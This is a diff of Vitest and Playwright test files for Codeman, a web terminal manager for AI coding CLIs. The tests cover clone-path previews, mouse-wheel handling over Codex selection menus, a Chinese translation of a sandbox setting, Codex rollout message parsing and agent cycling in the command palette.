const open = vi.fn();
(win as unknown as { PathPicker: { open: unknown } }).PathPicker = { open };
(doc.getElementById('cloneCustomPathToggle') as HTMLInputElement).checked = true;
app.openCloneCasePathPicker();
const options = open.mock.calls[0]![0] as {
title: string;
directoriesOnly: boolean;
allowNewFolder: boolean;
onSelect(p: string): void;
};
expect(options.title).toBe('Choose the folder to clone inside');
expect(options.directoriesOnly).toBe(true);
// A parent that does not exist yet is refused, so the picker has to be able to make it.
expect(options.allowNewFolder).toBe(true);
options.onSelect('/mnt/projects');
expect((doc.getElementById('cloneCasePath') as HTMLInputElement).value).toBe('/mnt/projects');
expect(preview()).toBe('Will clone into: /mnt/projects/bifrost');
await app.cloneCase();
const { body } = await requestBody(fetchMock);
expect(body.path).toBe('/mnt/projects/bifrost');
});
it('asks for the parent folder before cloning when the checkbox is on and the field is empty', async () => {
const { app, doc, fetchMock } = bootClone();
app.showToast = vi.fn();
(doc.getElementById('cloneCustomPathToggle') as HTMLInputElement).checked = true;
await app.cloneCase();
expect(app.showToast).toHaveBeenCalledWith('Choose the folder to clone inside', 'error');
expect(fetchMock).not.toHaveBeenCalled();
});
it('builds no target and sends nothing without a case name', async () => {
const { app, doc, set, preview, fetchMock } = bootClone();
app.showToast = vi.fn();
(doc.getElementById('cloneCustomPathToggle') as HTMLInputElement).checked = true;
set('cloneCasePath', '/mnt/projects');
set('cloneCaseName', '');
app.updateCloneCasePathPreview();
expect(app._cloneTargetPath()).toBe('');
expect(preview()).toBe(
'Pick the folder the repository should be cloned inside. It goes into a subfolder named after the case.'
);
await app.cloneCase();
expect(app.showToast).toHaveBeenCalledWith('Please enter a case name', 'error');
expect(fetchMock).not.toHaveBeenCalled();
});
it('refreshes the preview when the preflight replaces the case name', () => {
const { app, doc, set } = bootClone();
set('cloneRepoUrl', 'https://github.com/opticon454/bifrost?tab=readme-ov-file');
set('cloneCaseName', 'bifrost-tab-readme-ov-file');
set('cloneCasePath', '/mnt/projects');
app.updateCloneCasePathPreview();
expect(doc.getElementById('cloneCasePathPreview')?.textContent).toBe(
'Will clone into: /mnt/projects/bifrost-tab-readme-ov-file'
);
app._applyClonePreflight({ gitAvailable: true, parse: { cloneable: true, suggestedName: 'bifrost' } }, '');
expect((doc.getElementById('cloneCaseName') as HTMLInputElement).value).toBe('bifrost');
expect(doc.getElementById('cloneCasePathPreview')?.textContent).toBe('Will clone into: /mnt/projects/bifrost');
});
it('previews the name taken from the URL as it is typed', () => {
const { app, doc, set, win } = bootClone();
app.isCliAvailable = () => true; // lives in settings-ui.js, which this test does not load
set('cloneCaseName', '');
set('cloneCasePath', '/mnt/projects');
set('cloneRepoUrl', 'https://github.com/opticon454/bifrost');
app.onCloneUrlInput();
win.clearTimeout(app._clonePreflightTimer);
expect((doc.getElementById('cloneCaseName') as HTMLInputElement).value).toBe('bifrost');
expect(doc.getElementById('cloneCasePathPreview')?.textContent).toBe('Will clone into: /mnt/projects/bifrost');
});
});
+188
View File
@@ -0,0 +1,188 @@
/**
* Codex's selection menus (the "Implement this plan?" prompt, the /model, /permissions and /review pickers,
* approvals, questions, the trust prompt) take PageUp and PageDown as "move the selection". Codeman turns
* the wheel into those keys for a Codex pane that does not track the mouse (codex-cli 0.162 and 0.164 never
* do), so a wheel notch walked the cursor through the options: one notch down landed on "No, stay in Plan
* mode", one up on "Yes, implement this plan". The pane must consume the wheel there and send nothing.
*
* The screens are the live `tmux capture-pane` frames in test/fixtures/codex-dialogs/.
*/
import { readFileSync } from 'node:fs';
import { resolve } from 'node:path';
import vm from 'node:vm';
import { describe, expect, it, vi } from 'vitest';
import { STOCK_CLIS } from '../src/config/cli-registry/stock.js';
const PAGE_KEY_MODES = STOCK_CLIS.filter((e) => e.capabilities.transcriptPageKeys === true).map((e) => e.id);
const publicDir = resolve(import.meta.dirname, '../src/web/public');
const fixture = (name: string) => readFileSync(resolve(import.meta.dirname, 'fixtures/codex-dialogs', name), 'utf8');
/** A terminal whose screen shows `text`, padded to `rows` rows (what xterm holds for a hollow pane). */
function terminalShowing(text: string, rows = 40) {
const lines = text.replace(/\n+$/, '').split('\n');
// A capture taller than the pane keeps its bottom rows (the menu), a shorter one sits at the top.
const shown = lines.length > rows ? lines.slice(-rows) : lines;
const screen = Array.from({ length: rows }, (_, i) => shown[i] ?? '');
return {
cols: 100,
rows,
modes: { mouseTrackingMode: 'none' },
buffer: {
active: {
type: 'normal',
baseY: 0,
viewportY: 0,
length: rows,
getLine: (y: number) => (screen[y] === undefined ? undefined : { translateToString: () => screen[y] }),
},
},
};
}
function load() {
const CodemanApp = function CodemanApp(this: any) {};
const windowRef: Record<string, any> = { __codemanTranscriptPageKeys: PAGE_KEY_MODES };
const context = vm.createContext({
window: windowRef,
CodemanApp,
console: { warn: vi.fn(), log: vi.fn() },
_crashDiag: { log: vi.fn() },
performance: { now: () => 1_000 },
requestAnimationFrame: () => 1,
setTimeout: () => 1,
clearTimeout: () => undefined,
Blob: function Blob() {},
URL: { createObjectURL: () => 'blob:x', revokeObjectURL: () => {} },
Worker: function Worker(this: any) {
this.postMessage = () => {};
},
MobileDetection: { isTouchDevice: () => true },
DEC_SYNC_STRIP_RE: /\x1b\[\?2026[hl]/g,
OSC52_STRIP_RE: /\x1b\]52;[^\x07\x1b]*(?:\x07|\x1b\\)/g,
TERMINAL_CHUNK_SIZE: 32 * 1024,
});
vm.runInContext(readFileSync(resolve(publicDir, 'terminal-ui.js'), 'utf8'), context, { filename: 'terminal-ui.js' });
return { app: new (CodemanApp as any)(), windowRef };
}
/** Every dialog or menu a Codex pane can be sitting in, and the screens where PageUp must still page. */
const MENUS = [
'implement-plan.txt',
'model-popup.txt',
'permissions-popup.txt',
'review-popup.txt',
'exec-approval.txt',
'exec-approval-w36.txt',
'edit-approval.txt',
'question.txt',
'question-1of2.txt',
'question-notes.txt',
'trust-dialog.txt',
'trust-dialog-back.txt',
'trust-dialog-w40.txt',
'exec-approval-w44.txt',
'exec-approval-60x14.txt',
'exec-approval-long-command.txt',
'network-escalation-approval.txt',
'question-option2-selected.txt',
'question-2of2-submit-all.txt',
'question-notes-typed.txt',
'question-w36.txt', // the key hint one segment per row
'question-w60.txt',
];
const NOT_MENUS = [
'idle-start.txt',
'composer-typed.txt',
'working.txt',
'after-approve.txt',
'after-deny.txt',
'after-question.txt',
'slash-popup.txt',
'transcript-quotes-dialog.txt',
'composer-typed-dialog-text.txt',
'composer-typed-dialog-text-w60.txt',
];
describe('isCodexSelectionMenu on live captures', () => {
const { windowRef } = load();
const isMenu = (name: string) => windowRef.CodemanTerminalInput.isCodexSelectionMenu(terminalShowing(fixture(name)));
it.each(MENUS)('reads %s as a menu', (name) => {
expect(isMenu(name), name).toBe(true);
});
it.each(NOT_MENUS)('does not read %s as a menu', (name) => {
expect(isMenu(name), name).toBe(false);
});
it('still reads a narrow question whose option descriptions wrap over many rows', () => {
// The selected option sat 16 rows up from the bottom at 36 columns; sentence-length descriptions on
// a phone-width pane push it further, and an earlier row cap lost it (the menu was missed and the
// wheel moved the selection again).
const rows = fixture('question-w36.txt').split('\n');
const at = rows.findIndex((row) => /^\s{0,2}› 1\./.test(row));
expect(at).toBeGreaterThan(-1);
rows.splice(at + 1, 0, ...Array.from({ length: 12 }, (_, i) => ` wrapped description row ${i + 1}`));
const terminal = terminalShowing(rows.join('\n'), 60);
expect(windowRef.CodemanTerminalInput.isCodexSelectionMenu(terminal)).toBe(true);
});
it('is false for a terminal it cannot read', () => {
expect(windowRef.CodemanTerminalInput.isCodexSelectionMenu(undefined)).toBe(false);
expect(windowRef.CodemanTerminalInput.isCodexSelectionMenu({ rows: 10, buffer: { active: { baseY: 0 } } })).toBe(
false
);
});
});
describe('the wheel over a Codex pane', () => {
function codexPane(screen: string) {
const { app } = load();
const sent: string[] = [];
app.activeSessionId = 'sess-1';
app.sessions = new Map([['sess-1', { mode: 'codex', cliMouseTracking: false }]]);
app._sendInputEphemeral = (_id: string, data: string) => sent.push(data);
app.terminal = terminalShowing(screen);
return { app, sent };
}
it('sends no page key while the "Implement this plan?" menu is open, and consumes the wheel', () => {
const { app, sent } = codexPane(fixture('implement-plan.txt'));
for (const lines of [-30, 30, -30, 30]) expect(app._maybePageCliTranscript({ shiftKey: false }, lines)).toBe(true);
app._flushWheelSgrQueue();
expect(sent).toEqual([]);
});
it('still pages the transcript from the composer', () => {
const { app, sent } = codexPane(fixture('composer-typed.txt'));
expect(app._maybePageCliTranscript({ shiftKey: false }, -30)).toBe(true);
app._flushWheelSgrQueue();
expect(sent).toEqual(['\x1b[5~']);
});
it('only looks at Codex: another page-key CLI showing the same text is paged as before', () => {
const { app, sent } = codexPane(fixture('implement-plan.txt'));
app.sessions.set('sess-1', { mode: 'opencode' });
app._maybePageCliTranscript({ shiftKey: false }, -30);
app._flushWheelSgrQueue();
expect(sent).toEqual(['\x1b[5~']);
});
});
describe('a tile asks the same question', () => {
it('consumes the wheel for an open Codex menu in its own terminal and session', () => {
const tile = readFileSync(resolve(publicDir, 'terminal-tile.js'), 'utf8');
expect(tile).toContain('app._codexMenuOpen?.({ terminal: this.terminal, sessionId: this.sessionId })');
const { app } = load();
app.sessions = new Map([
['active', { mode: 'claude' }],
['tile', { mode: 'codex' }],
]);
app.terminal = terminalShowing(fixture('composer-typed.txt'));
const tileTerminal = terminalShowing(fixture('implement-plan.txt'));
// the tile's own terminal and session decide, not the active pane's
expect(app._codexMenuOpen({ terminal: tileTerminal, sessionId: 'tile' })).toBe(true);
expect(app._codexMenuOpen({ terminal: tileTerminal, sessionId: 'active' })).toBe(false);
expect(app._codexMenuOpen()).toBe(false);
});
});
+68
View File
@@ -0,0 +1,68 @@
/**
* @fileoverview The Codex "Allow network access" row (App Settings → Codex) in Chinese (zh-CN).
* That description is the only warning a user gets that the switch weakens Codex's sandbox, so
* it must read in Chinese, through the real translator over the real index.html in JSDOM, with
* no English left beyond product names and the `workspace-write` mode name, and each key must be
* in the dictionary exactly once (a repeated key in the object literal silently replaces the
* first).
*
* Port: N/A.
*/
import { readFileSync } from 'node:fs';
import { resolve } from 'node:path';
import vm from 'node:vm';
import { JSDOM } from 'jsdom';
import { afterAll, describe, expect, it } from 'vitest';
const PUBLIC = resolve(import.meta.dirname, '../src/web/public');
const I18N = readFileSync(resolve(PUBLIC, 'i18n.js'), 'utf8');
const INDEX = readFileSync(resolve(PUBLIC, 'index.html'), 'utf8');
const ROW_INPUT = 'appSettingsCodexNetworkAccess';
type Api = { configure(o: Record<string, string>): void; start(): void };
/** What may stay Latin: the product names, the API acronym and codex's own sandbox mode name. */
const leftover = (text: string) =>
text.replace(/workspace-write|\b(Codex|Codeman|API)\b/g, '').match(/[A-Za-z]+/g) ?? [];
function rowStrings(doc: Document): { label: string; description: string } {
const row = doc.getElementById(ROW_INPUT)!.closest('.set-row')!;
return {
label: row.querySelector('.set-row-label')!.textContent!.trim(),
description: row.querySelector('.set-row-desc')!.textContent!.trim(),
};
}
const source = new JSDOM(INDEX);
const dom = new JSDOM(INDEX, { runScripts: 'outside-only', url: 'http://localhost/' });
vm.runInContext(I18N, dom.getInternalVMContext(), { filename: 'i18n.js' });
const api = (dom.window as unknown as { CodemanI18n: Api }).CodemanI18n;
api.start();
api.configure({ language: 'zh-CN' });
afterAll(() => {
source.window.close();
dom.window.close();
});
describe('the Allow network access row in zh-CN', () => {
const english = rowStrings(source.window.document);
const chinese = rowStrings(dom.window.document);
it.each(['label', 'description'] as const)('translates the %s, with no English left', (key) => {
expect(english[key].length).toBeGreaterThan(0);
expect(chinese[key]).not.toBe(english[key]);
expect(leftover(chinese[key])).toEqual([]);
});
it('keeps the warning that the setting is close to Bypass', () => {
expect(chinese.description).toContain('绕过审批与沙箱');
});
it('adds each key to the dictionary once', () => {
for (const text of Object.values(english)) {
const quoted = text.includes("'") ? JSON.stringify(text) : `'${text}'`;
expect(I18N.split(`${quoted}:`).length - 1).toBe(1);
}
});
});
+112
View File
@@ -0,0 +1,112 @@
/**
* @fileoverview The Codex rollout shape helpers shared by the Past Sessions
* scanner (codex-transcript.ts) and the offline history reader
* (local-history.ts): store location, message shapes and the injected-context
* rule. Both readers' own tests cover their use of these; this pins the shared
* contract itself.
*/
import { afterEach, describe, expect, it } from 'vitest';
import { join } from 'node:path';
import {
codexContentText,
codexHomeDir,
codexMessageFromLine,
codexSessionsRoot,
isCodexInjectedContext,
} from '../src/codex-rollout-format.js';
const savedHome = process.env.CODEX_HOME;
afterEach(() => {
if (savedHome === undefined) delete process.env.CODEX_HOME;
else process.env.CODEX_HOME = savedHome;
});
describe('codex rollout format', () => {
it('resolves the store from CODEX_HOME, else ~/.codex', () => {
process.env.CODEX_HOME = '/custom/codex';
expect(codexHomeDir()).toBe('/custom/codex');
expect(codexSessionsRoot()).toBe(join('/custom/codex', 'sessions'));
process.env.CODEX_HOME = '';
expect(codexSessionsRoot()).toBe(join(process.env.HOME!, '.codex', 'sessions'));
});
it('reads all three message shapes with their role, shape and phase', () => {
expect(codexMessageFromLine({ type: 'event_msg', payload: { type: 'user_message', message: 'hi' } })).toEqual({
role: 'user',
text: 'hi',
shape: 'event',
phase: undefined,
injectionProne: false,
});
expect(
codexMessageFromLine({
type: 'event_msg',
payload: { type: 'agent_message', message: 'ok', phase: 'commentary' },
})
).toMatchObject({ role: 'assistant', shape: 'event', phase: 'commentary', injectionProne: false });
expect(
codexMessageFromLine({
type: 'event_msg',
payload: {
type: 'item_completed',
item: { type: 'AgentMessage', phase: 'final_answer', content: [{ type: 'Text', text: 'done' }] },
},
})
).toMatchObject({ role: 'assistant', text: 'done', shape: 'item', phase: 'final_answer' });
expect(
codexMessageFromLine({
type: 'response_item',
payload: { type: 'message', role: 'user', content: [{ type: 'input_text', text: 'typed' }] },
})
).toMatchObject({ role: 'user', text: 'typed', shape: 'response', injectionProne: true });
expect(
codexMessageFromLine({
type: 'response_item',
payload: { type: 'message', role: 'assistant', content: [{ type: 'output_text', text: 'a' }] },
})
).toMatchObject({ role: 'assistant', shape: 'response', injectionProne: false });
});
it('ignores every other line, empty text and malformed input', () => {
for (const value of [
null,
42,
'text',
[],
{ type: 'session_meta', payload: { id: 'x' } },
{ type: 'response_item', payload: { type: 'message', role: 'developer', content: 'policy' } },
{ type: 'response_item', payload: { type: 'reasoning', summary: [] } },
{ type: 'event_msg', payload: { type: 'user_message', message: '' } },
{ type: 'event_msg', payload: { type: 'item_completed', item: { type: 'CommandExecution' } } },
])
expect(codexMessageFromLine(value)).toBeNull();
});
it('flattens only blocks that carry text', () => {
expect(codexContentText('plain')).toBe('plain');
expect(
codexContentText([
{ type: 'input_text', text: 'a' },
{ type: 'input_image', image_url: 'x' },
{ text: 'b' },
null,
])
).toBe('a\nb');
expect(codexContentText(undefined)).toBe('');
});
it('treats a heading or a tag as injected context, wherever the wrapper name is new', () => {
for (const text of [
'# AGENTS.md instructions for /repo',
'<environment_context>',
'<recommended_plugins>',
'<subagent_notification>',
'<codex_internal_context source="goal">',
'<image name=[Image #1]>',
' <turn_aborted>',
])
expect(isCodexInjectedContext(text)).toBe(true);
for (const text of ['fix the bug', 'You are a reviewer', '$skill run', 'a <b> tag later'])
expect(isCodexInjectedContext(text)).toBe(false);
});
});
+82
View File
@@ -0,0 +1,82 @@
import { afterAll, beforeAll, describe, expect, it } from 'vitest';
import { chromium, type Browser } from 'playwright';
import { WebServer } from '../src/web/server.js';
// Adversarial browser layout fixture, not evidence of native Codex history:
// authentic CLI behavior is measured separately in an isolated live pane.
describe('tracked Codex wheel routing in the primary pane', () => {
let server: WebServer;
let browser: Browser;
beforeAll(async () => {
server = new WebServer(0, false, true);
await server.start();
browser = await chromium.launch({ headless: true });
}, 60000);
afterAll(async () => {
await browser?.close();
await server?.stop();
});
it('sends plain wheel to the CLI rather than scrolling stale repaint frames', async () => {
const page = await browser.newPage({ viewport: { width: 1200, height: 800 } });
try {
await page.goto(`http://127.0.0.1:${server.boundPort}`, { waitUntil: 'domcontentloaded' });
await page.waitForFunction(() => (window as any).app?.terminal);
await page.waitForTimeout(3500);
await page.evaluate(async () => {
const app = (window as any).app;
app.activeSessionId = 'codex-wheel-probe';
app.sessions.set(app.activeSessionId, { id: app.activeSessionId, mode: 'codex', cliMouseTracking: true });
(window as any).scrollInputs = [];
// Cell hit testing is irrelevant to routing; the empty dashboard covers the test terminal.
app._clientPointToCell = () => ({ col: 1, row: 1 });
app._sendInputEphemeral = (id: string, data: string) => (window as any).scrollInputs.push({ id, data });
app.loadAppSettingsFromStorage = () => ({ terminalWheelLocalScrollback: false });
await new Promise<void>((resolve) => app.terminal.write('\r\nold repaint row'.repeat(100), resolve));
app.terminal.scrollToTop();
});
const fire = (shiftKey = false) =>
page.evaluate((shiftKey) => {
const t = (window as any).app.terminal;
t.element.dispatchEvent(new WheelEvent('wheel', { deltaY: -100, shiftKey, bubbles: true, cancelable: true }));
}, shiftKey);
await fire();
await page.waitForTimeout(150);
const forwarded = await page.evaluate(() => {
const app = (window as any).app;
return {
inputs: (window as any).scrollInputs,
baseY: app.terminal.buffer.active.baseY,
viewportY: app.terminal.buffer.active.viewportY,
};
});
expect(forwarded.inputs.length).toBeGreaterThan(0);
expect(forwarded.inputs.every((i: { id: string }) => i.id === 'codex-wheel-probe')).toBe(true);
expect(
forwarded.inputs
.map((i: { data: string }) => i.data)
.join('')
.match(/\x1b\[<64;/g)
).toHaveLength(4);
expect(forwarded.viewportY).toBe(forwarded.baseY);
for (const shift of [false, true]) {
await page.evaluate((tracked) => {
const app = (window as any).app;
app.sessions.get(app.activeSessionId).cliMouseTracking = tracked;
app.terminal.scrollToBottom();
(window as any).scrollInputs = [];
}, shift);
await fire(shift);
await page.waitForTimeout(150);
const local = await page.evaluate(() => {
const b = (window as any).app.terminal.buffer.active;
return { inputs: (window as any).scrollInputs, baseY: b.baseY, viewportY: b.viewportY };
});
expect(local.inputs).toEqual([]);
expect(local.viewportY).toBeLessThan(local.baseY);
}
} finally {
await page.close();
}
});
});
@@ -0,0 +1,86 @@
import { afterAll, beforeAll, describe, expect, it } from 'vitest';
import { chromium, type Browser } from 'playwright';
import { WebServer } from '../src/web/server.js';
describe('Command-K agent arrow keys in Chromium', () => {
let server: WebServer;
let browser: Browser;
beforeAll(async () => {
server = new WebServer(0, false, true);
await server.start();
browser = await chromium.launch({ headless: true });
}, 60000);
afterAll(async () => {
await browser?.close();
await server?.stop();
});
it('cycles both directions at query boundaries while preserving text editing and selection', async () => {
const page = await browser.newPage({ viewport: { width: 1400, height: 900 } });
const errors: string[] = [];
page.on('pageerror', (e) => errors.push(e.message));
try {
await page.goto(`http://127.0.0.1:${server.boundPort}`, { waitUntil: 'domcontentloaded' });
await page.waitForFunction(() => (window as any).app?.openCommandPalette);
await page.waitForTimeout(3500);
await page.evaluate(() => {
const a = (window as any).app;
a.cases = [{ name: 'buildmesh', path: '/fixture/buildmesh' }];
a.sessions = new Map();
a.sessionOrder = [];
a._runMode = 'codex';
(window as any).__codemanCliCatalog = [
{ id: 'claude', label: 'Claude', enabled: true, kind: 'agent' },
{ id: 'codex', label: 'Codex', enabled: true, kind: 'agent' },
{ id: 'shell', label: 'Shell', enabled: true, kind: 'shell' },
];
a._runModeAvailableForCase = () => true;
a._sendInputEphemeral = () => {
throw new Error('Palette leaked terminal input');
};
a.run = () => {
throw new Error('Arrow key launched a session');
};
});
await page.keyboard.press('Control+k');
await page.locator('#commandPaletteModal.active').waitFor();
const input = page.locator('#commandPaletteSearch');
await input.fill('buildmesh');
const label = page.locator('.command-palette-agent-label');
expect(await label.innerText()).toBe('Codex');
await page.keyboard.press('ArrowLeft');
expect(await label.innerText()).toBe('Claude');
await page.keyboard.press('ArrowRight');
expect(await label.innerText()).toBe('Codex');
expect(await input.inputValue()).toBe('buildmesh');
expect(await input.evaluate((e: HTMLInputElement) => e.selectionStart)).toBe(9);
await page.keyboard.press('Home');
await page.keyboard.press('ArrowRight');
expect(await label.innerText()).toBe('Shell');
await page.keyboard.press('ArrowLeft');
expect(await label.innerText()).toBe('Codex');
await input.evaluate((e: HTMLInputElement) => e.setSelectionRange(4, 4));
await page.keyboard.press('ArrowLeft');
expect(await input.evaluate((e: HTMLInputElement) => e.selectionStart)).toBe(3);
await page.keyboard.press('ArrowRight');
expect(await input.evaluate((e: HTMLInputElement) => e.selectionStart)).toBe(4);
await page.keyboard.press('Shift+End');
await page.keyboard.press('ArrowLeft');
expect(await label.innerText()).toBe('Codex');
await page.keyboard.press('ArrowDown');
expect(
await page.evaluate(
() => (window as any).app.commandPaletteItems[(window as any).app.commandPaletteActiveIndex].type
)
).toBe('browse-sessions');
await page.keyboard.press('End');
await page.keyboard.press('ArrowLeft');
expect(await label.innerText()).toBe('Codex');
await page.keyboard.press('Escape');
expect(await page.locator('#commandPaletteModal').evaluate((e) => e.classList.contains('active'))).toBe(false);
expect(errors).toEqual([]);
} finally {
await page.close();
}
});
});
+359 -1
View File
@@ -3,7 +3,7 @@ import { resolve } from 'node:path';
import vm from 'node:vm';
import { describe, expect, it, vi } from 'vitest';
function loadPaletteHarness(overrides: Record<string, any> = {}) {
function loadPaletteHarness(overrides: Record<string, any> = {}, { sessionUi = false } = {}) {
const elements: Record<string, any> = {};
const listeners: Record<string, (event: any) => void> = {};
const CodemanApp = function CodemanApp(this: any) {};
@@ -70,6 +70,12 @@ function loadPaletteHarness(overrides: Record<string, any> = {}) {
const panelsUi = readFileSync(resolve(import.meta.dirname, '../src/web/public/panels-ui.js'), 'utf8');
vm.runInContext(panelsUi, context, { filename: 'panels-ui.js' });
// session-ui.js loads after panels-ui.js in index.html. Opt-in: it also brings
// the real selectQuickStartCase, which the case-pick tests above stub around.
if (sessionUi) {
const sessionUiSrc = readFileSync(resolve(import.meta.dirname, '../src/web/public/session-ui.js'), 'utf8');
vm.runInContext(sessionUiSrc, context, { filename: 'session-ui.js' });
}
const app = new (CodemanApp as any)();
app.sessions = new Map([
@@ -341,6 +347,358 @@ describe('Command-K session palette', () => {
});
});
const PALETTE_CATALOG = [
{ id: 'claude', label: 'Claude Code', kind: 'agent', enabled: true },
{ id: 'shell', label: 'Shell', kind: 'shell', enabled: true },
{ id: 'codex', label: 'Codex', kind: 'agent', enabled: true },
{ id: 'opencode', label: 'OpenCode', kind: 'agent', enabled: true },
{ id: 'gemini', label: 'Gemini', kind: 'agent', enabled: false },
];
/** A palette whose agent list comes from the injected CLI catalog, codex not installed. */
function loadAgentPalette(catalog: any[] = PALETTE_CATALOG, options: { sessionUi?: boolean } = {}) {
const available: Record<string, boolean> = { claude: true, shell: true, codex: false, opencode: true, gemini: true };
const harness = loadPaletteHarness(
{ window: { __codemanCliCatalog: catalog, __codemanCliAvailable: available } },
options
);
// Mirrors settings-ui.js isCliAvailable(): unknown reads as available.
harness.app.isCliAvailable = (id: string) => available[id] !== false;
harness.app._runMode = 'claude';
return harness;
}
function arrow(key: 'ArrowLeft' | 'ArrowRight', caret: number, value = '') {
return {
key,
preventDefault: vi.fn(),
stopPropagation: vi.fn(),
target: { value, selectionStart: caret, selectionEnd: caret },
};
}
describe('Command-K new-session agent picker', () => {
it('offers the enabled, installed CLIs from the registry catalog, in catalog order', () => {
const { app } = loadAgentPalette();
expect(app._commandPaletteAgentChoices().map((c: any) => c.id)).toEqual(['claude', 'shell', 'opencode']);
});
it('starts on the Run button mode and labels the row from the catalog', () => {
const { app, elements } = loadAgentPalette();
app._runMode = 'opencode';
app.openCommandPalette();
const item = app.buildCommandPaletteItems('flux').find((i: any) => i.type === 'new-session');
expect(item).toMatchObject({ mode: 'opencode', subtitle: 'Run OpenCode in flux-player' });
expect(elements.commandPaletteList.innerHTML).toContain('data-palette-agent-cycle="next"');
expect(elements.commandPaletteList.innerHTML).toContain('run-mode-dot opencode');
});
it('keeps the switch out of the row button accessible name and gives its tooltip a zh-CN entry', () => {
const { app, elements } = loadAgentPalette();
app.openCommandPalette();
const html = elements.commandPaletteList.innerHTML;
const title = 'Agent for the new session (Left/Right to change)';
// No nested buttons inside the row's <button>: the subtitle names the agent.
expect(html).toContain(`class="command-palette-agent" aria-hidden="true" title="${title}"`);
expect(html).not.toContain('role="button"');
expect(html).not.toContain('aria-label=');
const i18n = readFileSync(resolve(import.meta.dirname, '../src/web/public/i18n.js'), 'utf8');
expect(i18n.split(`'${title}':`).length - 1).toBe(1);
});
it('falls back to the first offered agent when the Run button mode is not offered', () => {
const { app } = loadAgentPalette();
app._runMode = 'codex'; // not installed
app.openCommandPalette();
expect(app.buildCommandPaletteItems('').find((i: any) => i.type === 'new-session').mode).toBe('claude');
});
it('cycles the agent with Right/Left on the new-session row, wrapping', async () => {
const { app, listeners, elements } = loadAgentPalette();
app.openCommandPalette();
elements.commandPaletteSearch.value = 'nomatch';
app.renderCommandPalette();
expect(app.commandPaletteItems[app.commandPaletteActiveIndex].type).toBe('new-session');
const right = arrow('ArrowRight', 7, 'nomatch');
await listeners['search:keydown'](right);
expect(right.preventDefault).toHaveBeenCalled();
expect(app.commandPaletteItems[app.commandPaletteActiveIndex]).toMatchObject({ mode: 'shell' });
expect(elements.commandPaletteList.innerHTML).toContain('Run Shell in');
await listeners['search:keydown'](arrow('ArrowLeft', 0, 'nomatch'));
await listeners['search:keydown'](arrow('ArrowLeft', 0, 'nomatch'));
expect(app.commandPaletteItems[app.commandPaletteActiveIndex]).toMatchObject({ mode: 'opencode' });
});
it('cycles both ways at the end of a typed case query without moving its caret', async () => {
const { app, listeners, elements } = loadAgentPalette();
app.openCommandPalette();
elements.commandPaletteSearch.value = 'nomatch';
app.renderCommandPalette();
const left = arrow('ArrowLeft', 7, 'nomatch');
await listeners['search:keydown'](left);
expect(left.preventDefault).toHaveBeenCalled();
expect(app.commandPaletteItems[app.commandPaletteActiveIndex].mode).toBe('opencode');
const right = arrow('ArrowRight', 7, 'nomatch');
await listeners['search:keydown'](right);
expect(right.preventDefault).toHaveBeenCalled();
expect(app.commandPaletteItems[app.commandPaletteActiveIndex].mode).toBe('claude');
});
it('leaves Left/Right to the caret inside the query', async () => {
const { app, listeners, elements } = loadAgentPalette();
app.openCommandPalette();
elements.commandPaletteSearch.value = 'nomatch';
app.renderCommandPalette();
const left = arrow('ArrowLeft', 3, 'nomatch');
const right = arrow('ArrowRight', 3, 'nomatch');
await listeners['search:keydown'](left);
await listeners['search:keydown'](right);
expect(left.preventDefault).not.toHaveBeenCalled();
expect(right.preventDefault).not.toHaveBeenCalled();
expect(app.commandPaletteItems[app.commandPaletteActiveIndex].mode).toBe('claude');
});
it.each(['altKey', 'ctrlKey', 'metaKey', 'shiftKey'])(
'preserves %s arrow editing at query boundaries',
async (modifier) => {
const { app, listeners, elements } = loadAgentPalette();
app.openCommandPalette();
elements.commandPaletteSearch.value = 'nomatch';
app.renderCommandPalette();
const event = { ...arrow('ArrowLeft', 7, 'nomatch'), [modifier]: true };
await listeners['search:keydown'](event);
expect(event.preventDefault).not.toHaveBeenCalled();
expect(app.commandPaletteItems[app.commandPaletteActiveIndex].mode).toBe('claude');
}
);
it('does not cycle while a session row is highlighted', async () => {
const { app, listeners } = loadAgentPalette();
app.openCommandPalette();
expect(app.commandPaletteItems[0].type).toBe('session');
const right = arrow('ArrowRight', 0);
await listeners['search:keydown'](right);
expect(right.preventDefault).not.toHaveBeenCalled();
expect(app.buildCommandPaletteItems('').find((i: any) => i.type === 'new-session').mode).toBe('claude');
});
it('cycles from the row arrows without launching', async () => {
const { app, listeners } = loadAgentPalette();
app.openCommandPalette();
const cycle = { dataset: { paletteAgentCycle: 'next' } };
const event = {
preventDefault: vi.fn(),
stopPropagation: vi.fn(),
target: { closest: (sel: string) => (sel === '[data-palette-agent-cycle]' ? cycle : null) },
};
listeners['list:click'](event);
expect(app.run).not.toHaveBeenCalled();
expect(app.buildCommandPaletteItems('').find((i: any) => i.type === 'new-session').mode).toBe('shell');
});
it('launches the chosen agent once, without changing the Run button mode', async () => {
const { app } = loadAgentPalette();
app.setRunMode = vi.fn();
let modeDuringRun: string | undefined;
app.run = vi.fn(async () => {
modeDuringRun = app._runMode;
});
app.openCommandPalette();
app._cycleCommandPaletteAgent(2); // claude -> shell -> opencode
app.commandPaletteItems = app.buildCommandPaletteItems('nomatch');
app.commandPaletteActiveIndex = 0;
await app.activateCommandPaletteItem();
expect(app.run).toHaveBeenCalledTimes(1);
expect(modeDuringRun).toBe('opencode');
expect(app._runMode).toBe('claude');
expect(app.setRunMode).not.toHaveBeenCalled();
});
it('restores the Run button mode even when the launch throws', async () => {
const { app } = loadAgentPalette();
app.run = vi.fn(async () => {
throw new Error('boom');
});
app.openCommandPalette();
app._cycleCommandPaletteAgent(1);
app.commandPaletteItems = app.buildCommandPaletteItems('nomatch');
app.commandPaletteActiveIndex = 0;
await expect(app.activateCommandPaletteItem()).rejects.toThrow('boom');
expect(app._runMode).toBe('claude');
});
it('draws no picker when only one agent is offered', () => {
const { app, elements } = loadAgentPalette([{ id: 'claude', label: 'Claude Code', kind: 'agent', enabled: true }]);
app.openCommandPalette();
expect(elements.commandPaletteList.innerHTML).not.toContain('data-palette-agent-cycle');
});
it('keeps the Run button mode when a single other agent is offered', async () => {
// Only Shell is offered while the Run button names claude: with nothing to
// pick between, the row keeps the Run button's mode, as before the picker
// existed, so run() answers a missing claude with its install hint instead
// of the palette silently starting Shell.
const { app, elements } = loadAgentPalette(PALETTE_CATALOG.slice(0, 2));
app.isCliAvailable = (id: string) => id !== 'claude';
let modeDuringRun: string | undefined;
app.run = vi.fn(async () => {
modeDuringRun = app._runMode;
});
app.openCommandPalette();
elements.commandPaletteSearch.value = 'nomatch';
app.renderCommandPalette();
const index = app.commandPaletteItems.findIndex((i: any) => i.type === 'new-session');
